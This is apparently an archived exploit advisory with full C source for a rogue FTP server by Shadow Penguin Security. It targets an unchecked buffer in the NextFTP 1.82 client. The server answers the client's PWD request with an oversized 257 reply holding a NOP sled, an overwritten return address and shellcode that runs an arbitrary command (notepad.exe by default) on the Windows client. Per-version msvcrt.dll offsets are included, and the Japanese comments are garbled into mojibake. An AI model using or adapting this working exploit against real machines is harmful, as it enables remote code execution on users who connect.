source: http://www.securityfocus.com/bid/572/info ToxSoft's shareware FTP client, NextFTP, contains an unchecked buffer in the code that parses CWD command replies. If the FTP server's reply contains the exploit code, arbitrary commands can be run on the client machine. /*============================================================================= Next FTP Exploit Server Rev.2 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN ([email protected]) [��] NextFTP Ver1.82 �CWD�I[o[t[oO� �ܵ�BFTPT[o� �exploit code�M������ANCAg�ε�C����s ���ƪūܷB��Tv�UNIXŮ�AC��[U�ApX [h��Aexploit_code�M��gCŷB��Tv��A exploit_code�ANCAg��C��R}h��s�s���ŷ�A exploit_code�g֦�����C��t@C�AECX����� �\ŷ(֥R[h: 00H, 22H, FFH)B [��mF] ET[o TurboLinux3.0 (���UNIX��) ENCAg Windows98 EFTP NextFTP Ver1.82 [T[o��] W�ftpd��~�ܷB���ARpC���s���OKŷB (RpC�:gcc ex_nextftp.c -lsocket) ܽA^[QbgNCAg�Windows C Runtime Library�o[W� ���A\[X #define DLL_VER_PSYSTEM V5_00_7022_SYSTEM #define DLL_VER_PEXIT V5_00_7022_EXIT �s��X�ľ��Bo[W�A c:\windows\system\msvcrt.dll �ENbNAvpeB�mFūܷB ܽAfBtHg��notepad.exe�N��Ģܷ�A #define EXPCMD "notepad.exe" �s��X���AC��R}h��s���ƪūܷB � FFFFTP Ver1.66��l�ZLeBz[� �ܷB ��exploit�gpūܹ�AJumpingAddress��XŮ���v�ܷB ============================================================================= */ #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <errno.h> #include <unistd.h> #include <netinet/in.h> #include <limits.h> #include <netdb.h> #include <arpa/inet.h> #define V5_00_7128_SYSTEM 0xc1a0 #define V5_00_7128_EXIT 0x8bb0 #define V5_00_7022_SYSTEM 0x888d #define V5_00_7022_EXIT 0x39ef #define V6_00_8168_0_SYSTEM 0x888d #define V6_00_8168_0_EXIT 0x39ef #define V6_00_8397_0_SYSTEM 0x9824 #define V6_00_8397_0_EXIT 0x5504 #define BANNER "ftp.trojan.ac.jp FTP server ready." #define EXPCMD "notepad.exe" #define DLL_VER_PSYSTEM V5_00_7022_SYSTEM #define DLL_VER_PEXIT V5_00_7022_EXIT int get_connection(socket_type, port, listener) int socket_type; int port; int *listener; { struct sockaddr_in address; struct sockaddr_in acc; int listening_socket; int connected_socket = -1; int new_process; int reuse_addr = 1; int acclen=sizeof(acc); memset((char *) &address, 0, sizeof(address)); address.sin_family = AF_INET; address.sin_port = htons(port); address.sin_addr.s_addr = htonl(INADDR_ANY); listening_socket = socket(AF_INET, socket_type, 0); if (listening_socket < 0) { perror("socket"); exit(1); } if (listener != NULL) *listener = listening_socket; setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR, &reuse_addr,sizeof(reuse_addr)); if (bind(listening_socket,(struct sockaddr *)&address, sizeof(address)) < 0) { perror("bind"); close(listening_socket); exit(1); } if (socket_type == SOCK_STREAM){ listen(listening_socket, 5); while(connected_socket < 0){ connected_socket=accept(listening_socket,&acc,&acclen); if (connected_socket < 0){ if (errno != EINTR){ perror("accept"); close(listening_socket); exit(1); }else continue; } new_process=fork(); if (new_process<0){ perror("fork"); close(connected_socket); connected_socket = -1; }else{ if (new_process == 0) { close(listening_socket); if (listener!=NULL) *listener = -1; }else{ close(connected_socket); connected_socket = -1; } } } return connected_socket; }else return listening_socket; } int sock_write(sockfd, buf, count) int sockfd; char *buf; size_t count; { size_t bytes_sent = 0; int this_write; while (bytes_sent < count) { do this_write = write(sockfd, buf, count - bytes_sent); while ( (this_write < 0) && (errno == EINTR) ); if (this_write <= 0) return this_write; bytes_sent += this_write; buf += this_write; } return count; } int sock_gets(sockfd, str, count) int sockfd; char *str; size_t count; { int bytes_read; int total_count = 0; char *current_position; char last_read = 0; current_position = str; while (last_read != 10) { bytes_read = read(sockfd, &last_read, 1); if (bytes_read <= 0) return -1; if ( (total_count < count) && (last_read !=0) && (last_read != 10) && (last_read !=13) ) { current_position[0] = last_read; current_position++; total_count++; } } if (count > 0) current_position[0] = 0; return total_count; } char exploit_code[200]={ 0xb4,0x20,0xb4,0x21,0x8b,0xcc,0x83,0xe9, 0x04,0x8b,0x19,0x33,0xc9,0x66,0xb9,0x10, 0x10,0x80,0x3b,0xb4,0x75,0x12,0x80,0x7b, 0x01,0x20,0x75,0x0c,0x80,0x7b,0x02,0xb4, 0x75,0x06,0x80,0x7b,0x03,0x21,0x74,0x03, 0x43,0xe2,0xe6,0x33,0xc0,0xb0,0x31,0x03, 0xd8,0xb4,0xfe,0x80,0xc4,0x01,0x88,0x63, 0x3b,0x88,0x63,0x3c,0x88,0x63,0x3d,0x88, 0x63,0x24,0x88,0x63,0x36,0xeb,0x23,0x5b, 0x53,0x32,0xe4,0x83,0xc3,0x0c,0x88,0x23, 0xb8,0x8d,0x88,0x01,0x78,0xee,0xd0,0x33, 0xc0,0x50,0xb4,0x78,0xc1,0xe0,0x10,0x33, 0xdb,0x66,0xbb,0xef,0x39,0x0b,0xc3,0xee, 0xd0,0x90,0xe8,0xd8,0x90,0x90,0x90,0x00}; int main(argc, argv) int argc; char *argv[]; { int sock,listensock; char buffer[1024]; char name[1024]; char code[1000]; static char xxx[20000]; static char xx2[20000]; unsigned int i,k,ip; int ver_system,ver_exit; sock = get_connection(SOCK_STREAM, 21, &listensock); /* Banner send */ memset(xxx,41,10000); xxx[10000]=0; sprintf(xx2,"220 %s \x0d\x0a",BANNER); sock_write(sock,xx2,strlen(xx2)); /* User ident */ sock_gets(sock,buffer,1024); strcpy(name,buffer+5); sprintf(buffer,"331 Password required for %s.\x0d\x0a",name); sock_write(sock,buffer,strlen(buffer)); sock_gets(sock,buffer,1024); sprintf(buffer,"230 User %s logged in.\x0d\x0a",name); sock_write(sock,buffer,strlen(buffer)); /* get PWD */ sock_gets(sock,buffer,1024); /* EXPLOT */ ver_system=DLL_VER_PSYSTEM; ver_exit=DLL_VER_PEXIT; memset(xxx,0x90,10000); k=512; if (ver_system==V6_00_8397_0_SYSTEM) ip=0x006bcb8c+300; else ip=0x006bce50+300; xxx[k+3]=(ip>>24)&0xff; xxx[k+2]=(ip>>16)&0xff; xxx[k+1]=(ip>>8)&0xff; xxx[k]=ip&0xff; strcpy(code,exploit_code); code[0x4d]=strlen(EXPCMD); strcpy(code+strlen(code),EXPCMD); code[81]=ver_system&0xff; code[82]=(ver_system>>8)&0xff; code[99]=ver_exit&0xff; code[100]=(ver_exit>>8)&0xff; for (i=0;i<strlen(code);i++) xxx[i+350]=code[i]; xxx[1024]=0; sprintf(xx2,"257 \"%s\" is current directory.\x0d\x0a",xxx); sock_write(sock,xx2,strlen(xx2)); sock_gets(sock,buffer,1024); }